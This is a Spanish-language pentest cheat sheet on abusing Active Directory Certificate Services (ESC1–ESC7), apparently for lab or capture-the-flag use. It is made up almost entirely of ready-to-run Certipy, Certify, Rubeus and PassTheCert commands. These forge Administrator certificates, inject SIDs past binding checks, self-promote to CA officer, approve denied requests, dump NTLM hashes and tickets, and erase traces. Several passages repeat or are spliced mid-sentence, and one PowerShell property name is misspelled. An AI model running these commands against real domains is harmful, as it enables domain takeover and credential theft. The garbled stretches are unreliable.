🔎Enumeración — Detección de Plantillas Vulnerables
Certipy
↗ github.com/ly4k/Certipy
| Comando | Descripción |
|---|---|
| certipy-ad find -u user@domain.htb -p 'Pass' -dc-ip 10.10.10.10 -vulnerable -stdout | Enumera plantillas vulnerables y las muestra en consola — la forma más rápida de identificar ESCs explotables. Reemplazar certipy-ad por certipy según versión |
| certipy-ad find -u user@domain.htb -p 'Pass' -dc-ip 10.10.10.10 -stdout | Enumeración completa sin filtrar por vulnerabilidad — útil para ver todas las plantillas y sus configuraciones |
| certipy-ad find -u user@domain.htb -p 'Pass' -dc-ip 10.10.10.10 -bloodhound | Exporta datos de ADCS para BloodHound (fork de ly4k) — muestra rutas de ataque ESC en el grafo |
| certipy-ad find -u user@domain.htb -hashes '<NTLM_HASH>' -dc-ip 10.10.10.10 -vulnerable -stdout | Enumeración con Pass-the-Hash cuando no se dispone de contraseña en claro |
| certipy-ad find -k -no-pass -dc-ip 10.10.10.10 -vulnerable -stdout | Enumeración vía Kerberos (requiere KRB5CCNAME definido) — útil tras comprometer un ticket |
Certify v1.0 Vs 2.0 (Windows)
↗ github.com/GhostPack/Certify
| Comando | Descripción |
|---|---|
| Certify_v1.exe find /vulnerable Certify_v2.exe enum-templates --filter-vulnerable --hide-admins | Enumera plantillas vulnerables desde Windows — detecta ESC1, ESC2, ESC3, ESC4. Menos preciso que certipy para grupos custom. Con --hide-admins ecluye permisos admin |
| Certify_v1.exe find /clientauth Certify_v2.exe enum-templates --filter-client-auth | Filtra plantillas que permiten Client Authentication EKU — prerequisito necesario para todos los ESC |
| Certify_v1.exe cas Certify_v2.exe enum-cas | Enumera las Certificate Authorities del dominio — muestra nombre, DNS, flags y configuración de cada CA |
ESC1
SAN Arbitrario + Client Authentication EKU
La plantilla permite al solicitante definir el Subject Alternative Name (SAN) libremente (
Campo abusado:
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT), tiene EKU Client Authentication (lo más común) y un usuario de bajos privilegios tiene derechos de enrollment. Permite solicitar un certificado como cualquier usuario del dominio, incluyendo el Administrador.
Campo abusado:
msPKI-Certificate-Name-Flag + ENROLLEE_SUPPLIES_SUBJECT activado
Requisitos ➔
Permisos Enroll +
Manager Approval: False +
Authorized Signatures: 0 +
ENROLLEE_SUPPLIES_SUBJECT = True +
Algún EKU OIDs: Client Authentication / Smart Card Logon / PKINIT Authentication
Certipy — Explotación
↗ Certipy Wiki
| Comando | Descripción |
|---|---|
| certipy-ad req -u user@domain.htb -p 'Pass' -ca <CA_NAME> -template <TMPL> -upn administrator@domain.htb -dc-ip 10.10.10.10 | Solicita certificado especificando UPN del Administrator como SAN. Genera administrator.pfx |
| certipy-ad req -u user@domain.htb -p 'Pass' -ca <CA_NAME> -template <TMPL> -upn administrator@domain.htb -sid 'S-1-5-21-...-500' -dc-ip 10.10.10.10 | Igual pero añade -sid para evitar error Object SID mismatch cuando StrongCertificateBindingEnforcement está activo |
| certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10 -d domain.htb | Autentica con el PFX generado → devuelve el hash NTLM del Administrator + TGT (.ccache) |
| certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10 -ldap-shell | Si PKINIT no está disponible (KDC_ERR_PADATA_TYPE_NOSUPP), en lugar de kerberos, autentica vía LDAP/SChannel con --ldap-shell |
Certify / Certipy — Domain Computer (MAQ > 0)
↗ Certify
| Comando | Descripción |
|---|---|
| Certify_v2.exe enum-templates --filter-supply-subject --filter-client-auth | Enumera templates específicamente para ESC1 — Client Auth + Supply Subject Enabled |
| Certify_v1.exe request /ca:<CA_NAME> /template:<TMPL> /altname:<email> | Solicitud de certificado con SAN arbitrario |
| Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap | Autenticación con el certificado .pfx o .pem mediante Rubeus.exe |
| powerview domain.htb/'user':'pass'@10.10.10.10 --dc-ip 10.10.10.10 PS > Add-ADComputer -ComputerName FAKE -ComputerPass Pass123 | Si el enrollment solo está disponible para Domain Computers, crear primero un equipo de dominio (requiere MAQ > 0) |
| certipy-ad req -u 'FAKE$'@domain.htb -p 'Pass123' -ca <CA_NAME> -template <TMPL> -upn administrator@domain.htb -dc-ip 10.10.10.10 | Solicita el certificado autenticando como la máquina recién creada — habitual en ESC1 donde solo Domain Computers tienen enrollment |
| certipy-ad account create -u user@domain.htb -p 'Pass' -dc-ip 10.10.10.10 -user 'FAKE$' -pass 'Pass123' | Alternativa: crear el Domain Computer directamente con certipy en lugar de powerview |
| certipy-ad auth -pfx administrator.pfx -username Administrator -domain domain.htb | Autenticación con el PFX generado desde la cuenta de máquina |
⚠ KDC_ERR_PADATA_TYPE_NOSUPP: El DC no soporta PKINIT. Usar certipy-ad auth -ldap-shell o PassTheCert para autenticar vía LDAP/SChannel en su lugar.
PassTheCert — fallback PKINIT
↗ AlmondOffSec/PassTheCert
| Comando | Descripción |
|---|---|
| certipy-ad cert -pfx administrator.pfx -nokey -out admin.crt | Extrae el certificado del PFX (sin la clave privada: .crt) |
| certipy-ad cert -pfx administrator.pfx -nocert -out admin.key | Extrae la clave privada del PFX (sin el certificado .key) |
| python3 passthecert.py -action ldap-shell -crt admin.crt -key admin.key -domain domain.htb -dc-ip 10.10.10.10 | Obtiene una shell LDAP interactiva autenticando vía SChannel — permite añadir usuarios a grupos, DCSync, modificar objetos, etc. |
| python3 passthecert.py -action write_rbcd -delegate-to 'DC$' -delegate-from 'FAKE$' -crt admin.crt -key admin.key -domain domain.htb -dc-ip 10.10.10.10 | Configura RBCD desde la LDAP shell — alternativa a la ldap-shell interactiva |
gettgtpkinit.py (PKINITtools)
↗ PKINITtools
| Comando | Descripción |
|---|---|
| openssl pkcs12 -export -out admin.pfx -inkey admin.key -in admin.pem -passout pass:Password123 | Convierte CER/PEM + KEY a PFX si Certify devolvió los archivos por separado (Windows) |
| gettgtpkinit.py -cert-pfx admin.pfx -pfx-pass Password123 -dc-ip 10.10.10.10 domain.htb/Administrator admin.ccache | Alternativa a certipy auth: obtiene el TGT (.ccache) + AES Key — útil cuando certipy-ad falla en la extracción del hash |
| getnthash.py -key <AES_KEY> <domain/target_username> | Para obtener el NT hash utiliazndo el AES Key extraido anteriormente con gettgtpkinit.py |
⚠ Parche CBA: Microsoft introdujo un parche de seguridad (conocido como Certificate-Based Authentication patch) que, cuando está en "Full Enforcement = StrongCertificateBindingEnforcement 2", añade una verificación de seguridad crítica.
1. ¿Qué hace? Inspecciona la extensión szOID_NTDS_CA_SECURITY_EXT dentro del certificado. Esta extensión contiene el SID (Security Identifier) de la cuenta que solicitó el certificado.
2. ¿Cómo bloquea? Cuando usas el certificado para pedir un TGT para "Administrator", el controlador de dominio compara el SID dentro del certificado (el del usuario que lo pidió) con el SID de la cuenta por la que pides el TGT ("Administrator").
Resultado: SID Atacante != SID Administrator. El DC dice "No coinciden" y rechaza la autenticación.
✓ Solución: A diferencia de ESC16 donde requiere StrongCertificateBindingEnforcement ≤ 1 (0 o 1), En ESC1 la CA SÍ confía en nosotros al tener ENROLLEE_SUPPLIES_SUBJECT.
Lo que nos permite engañar al validador inyectando el SID del usuario víctima en el PAC para que al pasar por comprobación del SID, tenga éxito aunque seamos un usuario normal.
1. ¿Qué hace? Inspecciona la extensión szOID_NTDS_CA_SECURITY_EXT dentro del certificado. Esta extensión contiene el SID (Security Identifier) de la cuenta que solicitó el certificado.
2. ¿Cómo bloquea? Cuando usas el certificado para pedir un TGT para "Administrator", el controlador de dominio compara el SID dentro del certificado (el del usuario que lo pidió) con el SID de la cuenta por la que pides el TGT ("Administrator").
Resultado: SID Atacante != SID Administrator. El DC dice "No coinciden" y rechaza la autenticación.
✓ Solución: A diferencia de ESC16 donde requiere StrongCertificateBindingEnforcement ≤ 1 (0 o 1), En ESC1 la CA SÍ confía en nosotros al tener ENROLLEE_SUPPLIES_SUBJECT.
Lo que nos permite engañar al validador inyectando el SID del usuario víctima en el PAC para que al pasar por comprobación del SID, tenga éxito aunque seamos un usuario normal.
Certify / Certipy
↗ Specter OPS Articule SID Injection
| Comando | Descripción |
|---|---|
| Certify_v1.exe request /ca:<CA_NAME> /template:<TMPL> /altname:administrator /sidextension:<SID-domain-500> /domain:<DOMAIN> | Para saltar esta restricción, podemos utilizar el argumento /sidextension mientras que en certipy-ad también está disponible como --sid para inyectar el SID del usuario víctima |
ESC2
Any Purpose EKU / Sin EKU
La plantilla tiene EKU Any Purpose (OID
2.5.29.37.0) o no tiene ningún EKU definido. Esto implícitamente concede la capacidad de Enrollment Agent (OID 1.3.6.1.4.1.311.20.2.1), permitiendo usar el certificado obtenido para solicitar certificados en nombre de otros usuarios (como en ESC3).
Requisitos ➔
Permisos Enroll +
Any Purpose EKU o sin EKU +
Manager Approval: False
Certipy — Ataque en 2 pasos
| Comando | Descripción |
|---|---|
| certipy-ad req -u user@htb.local -p 'Pass' -ca <CA_NAME> -template <TMPL_ESC2> -upn user@domain.htb -dc-ip 10.10.10.10 | Paso 1: obtener un certificado con Any Purpose EKU — guardará user.pfx que actuará como Enrollment Agent |
| certipy-ad req -u user@htb.local -p 'Pass' -ca <CA_NAME> -template User -on-behalf-of 'htb.local\administrator' -pfx user.pfx -dc-ip 10.10.10.10 | Paso 2: usar el cert de agente para solicitar un certificado de autenticación en nombre del Administrator — genera administrator.pfx |
| certipy-ad auth -pfx administrator.pfx -username administrator -dc-ip 10.10.10.10 -d domain.htb | Autenticación con el PFX del Administrator → hash NTLM + TGT |
ESC3
Certificate Request Agent EKU — Enrollment en nombre de otro
Requiere dos plantillas: una con el EKU Certificate Request Agent (
1.3.6.1.4.1.311.20.2.1) y otra plantilla target que acepte enrollment via agente. El atacante obtiene primero un certificado de agente y luego lo usa para solicitar certificados en nombre del Administrator sin tener sus credenciales.
Requisitos ➔
Template 1: EKU Certificate Request Agent +
Template 2: acepta enrollment via agente +
Sin restricciones de Enrollment Agent en la CA
Certipy — Ataque en 2 fases
| Comando | Descripción |
|---|---|
| certipy-ad req -u user@domain.htb -p 'pass' -ca <CA_NAME> -template <TMPL_AGENT> /altname:administrator@domain.htb -dc-ip 10.10.10.10 | Paso 1: solicitar el certificado de Enrollment Agent con el template que tenga el EKU de Request Agent |
| certipy-ad req -u user@domain.htb -p 'pass' -ca <CA_NAME> -template <TMPL_TARGET> -on-behalf-of 'domain\administrator' -pfx user.pfx -dc-ip 10.10.10.10 | Paso 2: usar el pfx del agente para solicitar un certificado de autenticación en nombre del Administrator |
| certipy-ad auth -pfx administrator.pfx -domain htb | Autenticación con el certificado del Administrator obtenido |
Certify (Windows)
| Comando | Descripción |
|---|---|
| Certify_v1.exe request /ca:CA_NAME /template:TMPL_AGENT /domain:DOMAIN | Paso 1: solicitar el certificado de agente desde Windows |
| Certify_v1.exe request /ca:CA_NAME /template:TMPL_TARGET /onbehalfof:DOMAIN\administrator /enrollcert:agent.pfx /enrollcertpw:PASSWORD /domain:DOMAIN | Paso 2: solicitar en nombre del Administrator usando el cert de agente como prueba de autorización |
ESC4
Permisos de Escritura sobre una Plantilla → ESC1
El atacante tiene permisos peligrosos sobre una plantilla (
⚠ IMPORTANTE: La modificación ocurre en vivo en el dominio target. Guardar siempre el JSON original con
Owner, FullControl, WriteOwner, WriteDacl, WriteProperty). Esto permite modificar la plantilla para añadir ENROLLEE_SUPPLIES_SUBJECT, convirtiéndola en vulnerable a ESC1. Siempre usar -save-old para preservar la configuración original.
⚠ IMPORTANTE: La modificación ocurre en vivo en el dominio target. Guardar siempre el JSON original con
-save-old.
Requisitos ➔
WriteProperty/FullControl/GenericWrite/WriteDACL/WriteOwner sobre la plantilla +
msPKI-Certificate-Name-Flag editable
Certipy — Modificación de plantilla + ESC1
| Comando | Descripción |
|---|---|
| certipy-ad template -u 'user@domain.htb' -p 'Pass' -template <TMPL> -save-old -dc-ip 10.10.10.10 | Modificar la plantilla aplicando configuración por defecto vulnerable a ESC1. Guarda la configuración original como <TMPL>.json |
| certipy-ad template -u 'user@domain.htb' -p 'Pass' -template <TMPL> -write-default-configuration -dc-ip 10.10.10.10 -target dc.domain.htb | Alternativa explícita con -write-default-configuration sobreescribe la plantilla con una configuración vulnerable (sin -save-old — usar con cuidado) |
| certipy-ad find -u 'user@domain.htb' -p 'Pass' -dc-ip 10.10.10.10 -vulnerable -stdout | Verificar que la plantilla modificada ahora aparece como ESC1 vulnerable antes de continuar |
| certipy-ad req -u 'user@domain.htb' -p 'Pass' -ca <CA_NAME> -template <TMPL> -upn Administrator -dc-ip 10.10.10.10 | Solicitar certificado como Administrator usando la plantilla ahora vulnerable (flujo ESC1) |
| certipy-ad req -u 'user@domain.htb' -p 'Pass' -ca <CA_NAME> -template <TMPL> -upn administrator@domain.htb -sid 'S-1-5-21-...-500' -dc-ip 10.10.10.10 | Con -sid para StrongCertificateBindingEnforcement activado |
| certipy-ad auth -pfx administrator.pfx -domain domain.htb | Autenticar con el certificado generado → hash NTLM + TGT |
| certipy-ad template -u 'user@domain.htb' -p 'Pass' -template <TMPL> -configuration <TMPL>.json -dc-ip 10.10.10.10 | Restaurar la plantilla a su estado original — imprescindible tras la explotación |
Certify + Rubeus (Windows)
↗ Rubeus
| Comando | Descripción |
|---|---|
| .\Certify_v1.exe request /ca:CA_NAME /template:TMPL /altname:administrator /domain:DOMAIN /alter /sidextension:DOMAIN_SID-500 | Certify con el flag /alter modifica la plantilla en tiempo real y solicita el certificado en un solo paso |
| .\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:Password123 /ptt | Obtener TGT desde Windows usando el PFX generado e inyectarlo en memoria |
ESC5
Permisos Peligrosos sobre Objetos PKI (CA, ADCS Server)
El atacante tiene permisos de escritura/control sobre objetos PKI más allá de las plantillas: el propio objeto CA en AD, el servidor ADCS, o el contenedor
ESC5 aplica si tienes control sobre cualquiera de estos objetos PKI: Objeto CA en AD (CertificationAuthority / PKIEnrollmentService) o Contenedor NTAuthCertificates o Servidor ADCS (cuenta de equipo) o contenedor CDP (CRL Distribution Point) o AIA (Authority Information Access)
NTAuthCertificates. Permite solicitar, aprobar y recuperar certificados de plantillas privilegiadas como SubCA, o registrar nuevas CA.ESC5 aplica si tienes control sobre cualquiera de estos objetos PKI: Objeto CA en AD (CertificationAuthority / PKIEnrollmentService) o Contenedor NTAuthCertificates o Servidor ADCS (cuenta de equipo) o contenedor CDP (CRL Distribution Point) o AIA (Authority Information Access)
Requisitos ➔
Acceso sobre objetos PKI en AD +
Permisos WriteOwner / WriteDacl / GenericAll sobre CA (CertificationAuthority / PKIEnrollmentService) o NTAuthCertificates =
Flujo: req → issue → retrieve
Enumeración PowerShell — ADCS Server / NTAuthCertificates / PKIEnrollmentService / CertificationAuthority
| Comando | Descripción |
|---|---|
| PS > $CAServer = Get-ADComputer "CA-SERVER-NAME" -Properties ntSecurityDescriptor PS > $CAServer.ntSecurityDescriptor.Access | Format-Table IdentityReference, ActiveDirectoryRights, AccessControlType | Obtener permisos para el objeto de equipo del servidor de CA |
| PS > $NTAuth = Get-ADObject "CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=DOMAIN,DC=LOCAL" -Properties ntSecurityDescriptor PS > $NTAuth.ntSecurityDescriptor.Access | Where-Object {$_.ActiveDirectoryRights -match "WriteDacl|WriteOwner|GenericAll|FullControl"} | Obtener el objeto NTAuthCertificates (ubicado en Configuration NC) |
| PS > $CAObject = Get-ADObject "CN=CA-NAME,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=DOMAIN,DC=LOCAL" -Properties ntSecurityDescriptor PS > $CAObject.ntSecurityDescriptor.Access | Where-Object {$_.ActiveDirectoryRights -match "WriteDacl|WriteOwner|GenericAll|FullControl"} | Obtener el objeto PKIEnrollmentService |
| PS > $CARoot = Get-ADObject "CN=CA-NAME,CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=DOMAIN,DC=LOCAL" -Properties ntSecurityDescriptor PS > $CARoot.ntSecurityDescriptor.Access | Where-Object {$_.ActiveDirectectionRights -match "WriteDacl|WriteOwner|GenericAll|FullControl"} | Obtener el objeto CertificationAuthority |
Certipy
| Comando | Descripción |
|---|---|
| certipy-ad req -u 'user@domain.htb' -p 'Pass' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <CA_NAME> -template <TMPL> -upn Administrator | Paso 1: solicitar certificado del Domain Admin. La solicitud puede quedar pendiente (denegada) — guardar el ID |
| certipy-ad ca -u 'user@domain.htb' -p 'Pass' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <CA_NAME> -issue-request <ID> | Paso 2: emitir la solicitud pendiente usando permisos sobre la CA — convierte la solicitud fallida en certificado válido |
| certipy-ad req -u 'user@domain.htb' -p 'Pass' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <CA_NAME> -retrieve <ID> | Paso 3: recuperar el certificado emitido por su ID → genera administrator.pfx |
| certipy-ad auth -pfx administrator.pfx -username administrator -domain domain.htb -dc-ip <ip> -ns <ip> -dns-tcp | Autenticación final con el PFX del Administrator |
Certify v1 & v2 + Rubeus
| Comando | Descripción |
|---|---|
| Certify_v2.exe request --ca <CA_NAME> --template SubCA --upn Administrator Certify_v1.exe /ca:<CA_NAME> /template:SubCA /altname:Administrator | Paso 1: Solicitar certificado como Administrator usando la plantilla SubCA. La solicitud será denegada automáticamente (pending/failed) — guardar el Request ID que aparece en la salida |
| Certify_v1.exe issue /ca:<CA_NAME> /id:<REQUEST_ID> | Paso 2: Emitir/aprobar la solicitud pendiente (requiere privilegios Manage Certificates sobre la CA). Convierte la solicitud denegada en certificado válido |
| Certify_v1.exe download /ca:<CA_NAME> /id:<REQUEST_ID> /format:PFX /password:Pass123 | Paso 3: Descargar el certificado emitido usando su Request ID — genera approved.pfx (o el nombre especificado) |
| .\Rubeus.exe asktgt /user:administrator /domain:domain.htb /certificate:approved.pfx /password:Pass123 /ptt /getcredentials | Paso 4: Usar Rubeus para solicitar el TGT del Administrator con el PFX obtenido. El flag /getcredentials extrae además el hash NTLM |
| .\Rubeus.exe triage .\Rubeus.exe dump /luid:<LUID> /service:krbtgt | Alternativa post-autenticación: Si Rubeus asktgt falla, usar el TGT inyectado con triage + dump para extraer tickets |
ESC6
EDITF_ATTRIBUTESUBJECTALTNAME2 — SAN en cualquier plantilla
La CA tiene el flag
Fue parcheado (CVE Certifried), pero es explotable si no se ha aplicado el parche o si
También es importante mirar permisos ManageCA ya que nos permiten editar la configuración de la CA e introducir
EDITF_ATTRIBUTESUBJECTALTNAME2 activado, lo que permite especificar un SAN arbitrario en cualquier solicitud de certificado, independientemente de la configuración de la plantilla.Fue parcheado (CVE Certifried), pero es explotable si no se ha aplicado el parche o si
CT_FLAG_NO_SECURITY_EXTENSION está activo.También es importante mirar permisos ManageCA ya que nos permiten editar la configuración de la CA e introducir
EDITF_ATTRIBUTESUBJECTALTNAME2 habilitando ESC6
Requisitos ➔
Flag EDITF_ATTRIBUTESUBJECTALTNAME2 en la CA +
Cualquier plantilla con Client Auth EKU +
Alternativa: CA con CT_FLAG_NO_SECURITY_EXTENSION (no embebe el SID)
Certipy
| Comando | Descripción |
|---|---|
| certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" | Verificar permisos para editar SAM en Windows con certutil. Si el comando devuelve EditFlags = EDITF_ATTRIBUTESUBJECTALTNAME2 (0x80000 = 524288) significa que ESC6 está activado |
| certipy-ad req -u 'user@domain.htb' -p 'Pass' -ca <CA_NAME> -target <ip> -template <TMPL> -upn administrator@domain.htb | Solicitar certificado con UPN del Administrator — funciona con cualquier plantilla enrollable |
| certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10 -d domain.htb | Autenticar con el PFX generado |
Certify + Rubeus
| Comando | Descripción |
|---|---|
| Certify_v1.exe request /ca:'<CA_NAME>' /template:'<TMPL>' /altname:Administrator Certify_v2.exe request --ca <CA_NAME> --template <TMPL> --upn 'Administrator@htb.local' | Solicitar certificado con SAM = administrator |
| Rubeus.exe asktgt /user:administrator /certificate:cert.pfx | Obtenemos TGT como Administrator |
| Certify_v2.exe manage-ca --ca LOQSEA-DC --esc6 | Habilitar ESC6 en caso de que tengamos permisos CA Managers (ManageCA) o en EditFlags para poder añadir EDITF_ATTRIBUTESUBJECTALTNAME2 |
ESC7
Manage CA / Manage Certificates — Aprobación de Solicitudes Fallidas
El usuario tiene el derecho Manage CA sobre la CA. Esto permite tres ataques distintos:
Ataque 1 — Flip EDITF (ESC6-like) · ManageCA + ManageCertificates: Con Manage CA se puede modificar el flag
Ataque 2 — SubCA + Officer · solo ManageCA: Con Manage CA se puede auto-promoverse a Officer (ganando Manage Certificates) y habilitar la plantilla SubCA. La plantilla SubCA es especial porque su EKU incluye
Ataque 3 — SetExtension · solo ManageCertificates: Primitiva nueva de Certify 2.0. El método RPC
⚠ Importante: Añadirse como Officer no garantiza siempre poder aprobar requests — la CA puede tener
Ataque 1 — Flip EDITF (ESC6-like) · ManageCA + ManageCertificates: Con Manage CA se puede modificar el flag
EDITF_ATTRIBUTESUBJECTALTNAME2 via PSPKI, convirtiendo la CA en vulnerable a ESC6 — cualquier plantilla enrollable permite SAN arbitrario. Con ManageCertificates se aprueban requests pendientes saltándose el Manager Approval. ⚠ Requiere reinicio de CertSvc para que el flag tenga efecto, y aunque ManageCA permite reiniciarlo, no puede hacerse remotamente.
Ataque 2 — SubCA + Officer · solo ManageCA: Con Manage CA se puede auto-promoverse a Officer (ganando Manage Certificates) y habilitar la plantilla SubCA. La plantilla SubCA es especial porque su EKU incluye
All (OID 2.5.29.37.0) — un certificado emitido con ella sirve para cualquier propósito incluyendo autenticación de cliente. Los usuarios normales no pueden enrollarse en SubCA (solo Domain/Enterprise Admins), por lo que la solicitud será denegada automáticamente — pero la CA genera un Request ID y una clave privada. Como Officer, se aprueba esa solicitud fallida y se recupera el certificado. Alternativa preferida cuando el Ataque 1 no funciona por el parche de Mayo 2022 o por imposibilidad de reiniciar CertSvc.
Ataque 3 — SetExtension · solo ManageCertificates: Primitiva nueva de Certify 2.0. El método RPC
ICertAdmin::SetExtension permite inyectar extensiones arbitrarias (OIDs de Issuance Policy, EKUs personalizados) en una request pendiente. Como la plantilla no define valor por defecto para esa extensión, la CA no sobreescribe el valor inyectado al emitir el cert. El certificado resultante puede encadenarse con otros ataques (ESC13, etc.). No requiere ManageCA — convierte ManageCertificates en vector de escalada completo por sí solo.
⚠ Importante: Añadirse como Officer no garantiza siempre poder aprobar requests — la CA puede tener
CertificateManagerRestrictions que limiten qué plantillas o usuarios puede aprobar el Officer recién añadido, resultando en Access Denied al intentar -issue-request.
Requisitos ➔
Manage CA o Manage Certificates +
Plantilla SubCA habilitada =
3 pasos: req → approve → retrieve
Enumeración Windows — certsrv.msc / certutil.exe / PSPKI.ps1
| Comando | Descripción |
|---|---|
| Certify_v2.exe enum-templates --filter-enabled --filter-supply-subject | findstr /i "SubCA" | Alternativa 1: Verificar que la plantilla SubCA está habilitada y es utilizable con Certify.exe |
| PS > Get-CertificationAuthority -ComputerName dc.htb.local | Get-CertificationAuthorityAcl | select -expand Access | Alternativa 2 con certsrv.msc — Sobre el atributo ActiveDirectoryRights lo que buscamos son los valores ManageCertificates o Certificate Manager |
| PS > certutil.exe -config "LAB-DC.minions.com\CA-minions" -getreg "policy\EditFlags" | Alternativa 3 con certutil.exe — Buscamos que EDITF_ATTRIBUTESUBJECTALTNAME2 tenga el valor 1376590 |
| PS > Import-Module .\PSPKI.ps1 PS > Get-CertificationAuthority -ComputerName DC.htb.local | Get-CertificationAuthorityAcl | select -ExpandProperty access | Alternativa 4 mediante módulo PSPKI — Una vez importado PSPKI.ps1 utilizamos su modulo correspondiente Get-CertificationAuthority |
📋 Ataque 1 — Flip EDITF (ESC6-like) · requiere ManageCA + ManageCertificates:
Con
⚠ Requiere reinicio de
Con
ManageCA se puede modificar remotamente el flag EDITF_ATTRIBUTESUBJECTALTNAME2 via PSPKI, permitiendo especificar un SAN arbitrario en cualquier plantilla. Con ManageCertificates se pueden aprobar requests pendientes, saltándose el requisito de aprobación del manager. La combinación de ambos permite solicitar, aprobar y descargar un certificado como Administrator.⚠ Requiere reinicio de
CertSvc para que el flag tenga efecto — y aunque ManageCA permite reiniciarlo, no puede hacerse remotamente. Además, ESC6 puede no funcionar en entornos con el parche de Mayo 2022 aplicado.
Certipy — Ataque 1: Flip EDITF (ESC6-like) — requiere ManageCA + ManageCertificates + EDITF_ATTRIBUTESUBJECTALTNAME2
| Comando | Descripción |
|---|---|
| certipy-ad req -u 'user@domain.htb' -p 'Pass' -ca '<CA_NAME>' -template '<TMPL_APPROVAL>' -upn Administrator | Paso 1: Solicitar certificado de una plantilla con Manager Approval — la request queda en estado pending, guardar el ID |
| certipy-ad ca -u 'user@domain.htb' -p 'Pass' -ca '<CA_NAME>' -issue-request <ID> | Paso 2: Aprobar la solicitud pendiente con ManageCertificates |
| certipy-ad req -u 'user@domain.htb' -p 'Pass' -ca '<CA_NAME>' -retrieve <ID> | Paso 3: Recuperar el certificado emitido → genera administrator.pfx |
| certipy-ad auth -pfx administrator.pfx -domain domain.htb | Autenticar con el PFX del Administrator → hash NTLM + TGT |
Certify — Ataque 1: Flip EDITF (ESC6-like)
| Comando | Descripción |
|---|---|
| Certify_v1.exe request /ca:<CA_NAME> /template:ApprovalNeeded Certify_v2.exe request --ca <CA_NAME> --template ApprovalNeeded | Paso 1: Solicitar certificado de plantilla con Manager Approval — la request queda pending, guardar el Request ID |
| PS > Import-Module PSPKI PS > Get-CertificationAuthority -ComputerName dc.htb.local | Get-PendingRequest -RequestID <ID> | Approve-CertificateRequest | Paso 2: Aprobar la solicitud pendiente con módulo PSPKI |
| Certify_v1.exe download /ca:<CA_NAME> /id:<ID> Certify_v2.exe request-download --ca <CA_NAME> --id <ID> | Paso 3: Descargar el certificado aprobado usando el Request ID |
| PS > $ConfigReader.SetConfigEntry(1114446,"EditFlags","PolicyModules\CertificateAuthority_MicrosoftDefault.Policy") PS > $ConfigReader.GetConfigEntry("EditFlags","PolicyModules\CertificateAuthority_MicrosoftDefault.Policy") | Cleanup: Restaurar el flag EDITF_ATTRIBUTESUBJECTALTNAME2 a su valor original — eliminar rastros |
📋 Ataque 2 — SubCA + Officer · requiere solo ManageCA:
La técnica se basa en que usuarios con
La técnica se basa en que usuarios con
ManageCA pueden auto-concederse ManageCertificates añadiéndose como Officer. La plantilla SubCA es vulnerable a ESC1 pero solo administradores pueden enrollarse — un usuario puede solicitar un cert SubCA (será denegado), pero al tener ManageCertificates puede aprobarlo él mismo y recuperarlo. No requiere reinicio de servicios. Alternativa preferida en entornos parcheados donde el Ataque 1 no funciona.
Certipy — Ataque 2: SubCA + Officer
| Comando | Descripción |
|---|---|
| certipy-ad ca -ca '<CA_NAME>' -add-officer 'user' -u 'user@domain.htb' -p 'Pass' | Pre-requisito: Permisos ManageCA para añadirse como Officer — gana Manage Certificates |
| certipy-ad ca -ca '<CA_NAME>' -enable-template SubCA -u 'user@domain.htb' -p 'Pass' | Habilitar plantilla SubCA — por defecto suele estar habilitada, verificar antes |
| certipy-ad req -u 'user@domain.htb' -p 'Pass' -ca '<CA_NAME>' -target dc.domain.htb -template SubCA -upn administrator@domain.htb | Paso 1: Solicitar cert como Admin con SubCA — será denegado pero se guarda la clave privada y el ID de solicitud |
| certipy-ad ca -ca '<CA_NAME>' -issue-request <ID> -u 'user@domain.htb' -p 'Pass' | Paso 2: Aprobar la solicitud fallida como Officer |
| certipy-ad req -u 'user@domain.htb' -p 'Pass' -ca '<CA_NAME>' -target dc.domain.htb -retrieve <ID> | Paso 3: Recuperar el certificado emitido → administrator.pfx |
| certipy-ad auth -pfx administrator.pfx -domain domain.htb | Autenticar con el PFX del Administrator → hash NTLM + TGT |
Certify — Ataque 2: SubCA + Officer
| Comando | Descripción |
|---|---|
| Certify_v2.exe manage-ca --ca <CA_NAME> --officer 'user' | Pre-requisito: Permisos ManageCA para añadirse como Officer — gana Manage Certificates |
| Certify_v2.exe manage-ca --ca <CA_NAME> --template SubCA | Habilitar plantilla SubCA |
| Certify_v2.exe request --ca <CA_NAME> --template SubCA --upn administrator@domain.htb | Paso 1: Solicitar cert con SubCA — será denegado, guardar el Request ID |
| Certify_v2.exe manage-ca --ca <CA_NAME> --issue-id <ID> | Paso 2: Aprobar la solicitud pendiente como Officer |
| Certify_v2.exe request-download --ca <CA_NAME> --id <ID> | Paso 3: Descargar el certificado emitido |
📋 Ataque 3 — SetExtension · requiere solo ManageCertificates:
Primitiva nueva introducida en Certify 2.0. El método RPC
Primitiva nueva introducida en Certify 2.0. El método RPC
ICertAdmin::SetExtension puede ser ejecutado por cualquier principal con ManageCertificates. Permite inyectar extensiones no definidas en la plantilla (p.ej. OIDs de Issuance Policy como 1.1.1.1) en una request pendiente — como la plantilla no define un valor por defecto para esa extensión, la CA no sobreescribe el valor inyectado al emitir el cert. El certificado resultante puede usarse para satisfacer requisitos de otras plantillas vulnerables (ESC13) o inyectar EKUs/policies que otorguen confianza inesperada. No requiere ManageCA — convierte ManageCertificates en un vector de escalada completo por sí solo.
Certify v2 — Ataque 3: SetExtension — requiere solo ManageCertificates
↗ Certify v2 Docs
| Comando | Descripción |
|---|---|
| Certify_v2.exe request --ca <CA_NAME> --template SecureUser --subject "CN=User" --manager-approval | Paso 1: Solicitar cert de plantilla con Manager Approval — la request queda pending, guardar el Request ID |
| Certify_v2.exe manage-ca --ca <CA_NAME> --request-id <ID> --set-extension "1.1.1.1=DER,10,01 01 00 00" | Paso 2: Inyectar OID arbitrario en la request pendiente — la CA no sobreescribe extensiones no definidas en la plantilla → el cert emitido lleva el OID malicioso |
